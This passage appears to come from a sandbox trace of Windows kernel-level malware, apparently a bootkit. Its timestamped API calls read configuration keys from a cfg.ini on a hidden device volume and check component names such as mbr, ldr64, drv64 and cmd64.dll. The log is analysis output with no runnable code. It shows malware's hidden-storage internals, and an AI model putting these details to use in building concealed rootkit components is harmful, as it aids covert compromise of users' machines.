_MaxCount=0x10) returned -108 [0130.580] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.580] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.580] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.580] KeLeaveCriticalRegion () [0130.580] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.580] ReleaseMutex (hMutex=0x100) returned 1 [0130.580] Sleep (dwMilliseconds=0x2bf20) [0130.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70f2c190, dwHighDateTime=0x1d24fa4)) [0130.587] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.587] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.587] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.587] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.587] KeEnterCriticalRegion () [0130.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.587] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.587] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.587] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.587] IdePortDispatch () returned 0x103 [0130.587] KeWaitForMutexObject () returned 0x0 [0130.588] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.588] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.588] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.588] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.588] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.588] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c450 [0130.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.588] KeLeaveCriticalRegion () [0130.588] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.588] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.588] KeEnterCriticalRegion () [0130.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.588] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.588] KeLeaveCriticalRegion () [0130.588] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.588] KeEnterCriticalRegion () [0130.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.588] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.588] IdePortDispatch () returned 0x103 [0130.588] KeWaitForMutexObject () returned 0x0 [0130.588] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.589] KeLeaveCriticalRegion () [0130.589] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.589] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.589] KeEnterCriticalRegion () [0130.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.589] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfb000 [0130.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.589] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.589] IdePortDispatch () returned 0x103 [0130.589] KeWaitForMutexObject () returned 0x0 [0130.589] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.589] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.589] IdePortDispatch () returned 0x103 [0130.590] KeWaitForMutexObject () returned 0x0 [0130.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.590] KeLeaveCriticalRegion () [0130.590] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.590] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.590] KeEnterCriticalRegion () [0130.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.590] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.590] KeLeaveCriticalRegion () [0130.590] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.591] KeEnterCriticalRegion () [0130.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.591] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.591] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.591] KeLeaveCriticalRegion () [0130.591] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.591] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.591] KeEnterCriticalRegion () [0130.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.591] ExFreePoolWithTag (P=0xfffffa800294c450, Tag=0x0) [0130.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.591] KeLeaveCriticalRegion () [0130.591] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.591] ReleaseMutex (hMutex=0xf0) returned 1 [0130.591] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.591] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.591] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.591] KeEnterCriticalRegion () [0130.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.591] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.591] IdePortDispatch () returned 0x103 [0130.592] KeWaitForMutexObject () returned 0x0 [0130.592] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.592] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.592] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.592] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.592] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.592] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002845b50 [0130.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.592] KeLeaveCriticalRegion () [0130.592] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.592] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.592] KeEnterCriticalRegion () [0130.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.592] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.592] KeLeaveCriticalRegion () [0130.592] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.592] KeEnterCriticalRegion () [0130.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.592] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.592] IdePortDispatch () returned 0x103 [0130.593] KeWaitForMutexObject () returned 0x0 [0130.593] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.593] KeLeaveCriticalRegion () [0130.593] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.593] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.593] KeEnterCriticalRegion () [0130.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.593] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfc000 [0130.593] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.593] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.593] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.593] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.593] IdePortDispatch () returned 0x103 [0130.593] KeWaitForMutexObject () returned 0x0 [0130.593] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.593] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.593] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.593] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.593] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.593] IdePortDispatch () returned 0x103 [0130.593] KeWaitForMutexObject () returned 0x0 [0130.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.594] KeLeaveCriticalRegion () [0130.594] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.594] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.594] KeEnterCriticalRegion () [0130.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.594] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.594] KeLeaveCriticalRegion () [0130.595] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.595] KeEnterCriticalRegion () [0130.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.595] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.595] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d310, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.595] KeLeaveCriticalRegion () [0130.595] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.595] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.595] KeEnterCriticalRegion () [0130.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.595] ExFreePoolWithTag (P=0xfffffa8002845b50, Tag=0x0) [0130.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.595] KeLeaveCriticalRegion () [0130.595] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.595] ReleaseMutex (hMutex=0xf0) returned 1 [0130.595] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.595] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.595] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.595] KeEnterCriticalRegion () [0130.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.595] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.595] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.595] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.595] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.595] IdePortDispatch () returned 0x103 [0130.596] KeWaitForMutexObject () returned 0x0 [0130.596] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.596] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.596] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.596] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.596] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.596] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c660 [0130.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.596] KeLeaveCriticalRegion () [0130.596] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.596] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.596] KeEnterCriticalRegion () [0130.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.596] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.596] KeLeaveCriticalRegion () [0130.596] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.596] KeEnterCriticalRegion () [0130.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.596] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.596] IdePortDispatch () returned 0x103 [0130.596] KeWaitForMutexObject () returned 0x0 [0130.596] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.596] KeLeaveCriticalRegion () [0130.596] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.597] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.597] KeEnterCriticalRegion () [0130.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.597] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfd000 [0130.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.597] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.597] IdePortDispatch () returned 0x103 [0130.597] KeWaitForMutexObject () returned 0x0 [0130.597] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.597] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.597] IdePortDispatch () returned 0x103 [0130.597] KeWaitForMutexObject () returned 0x0 [0130.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.597] KeLeaveCriticalRegion () [0130.597] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.598] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.598] KeEnterCriticalRegion () [0130.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.598] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.598] KeLeaveCriticalRegion () [0130.598] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.598] KeEnterCriticalRegion () [0130.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.598] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.598] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.598] KeLeaveCriticalRegion () [0130.598] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.598] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.598] KeEnterCriticalRegion () [0130.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.598] ExFreePoolWithTag (P=0xfffffa800294c660, Tag=0x0) [0130.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.598] KeLeaveCriticalRegion () [0130.598] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.598] ReleaseMutex (hMutex=0xf0) returned 1 [0130.598] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.598] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.598] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.598] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.598] KeEnterCriticalRegion () [0130.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.598] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.598] IdePortDispatch () returned 0x103 [0130.599] KeWaitForMutexObject () returned 0x0 [0130.599] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.599] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.599] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.599] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.599] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.599] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.599] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 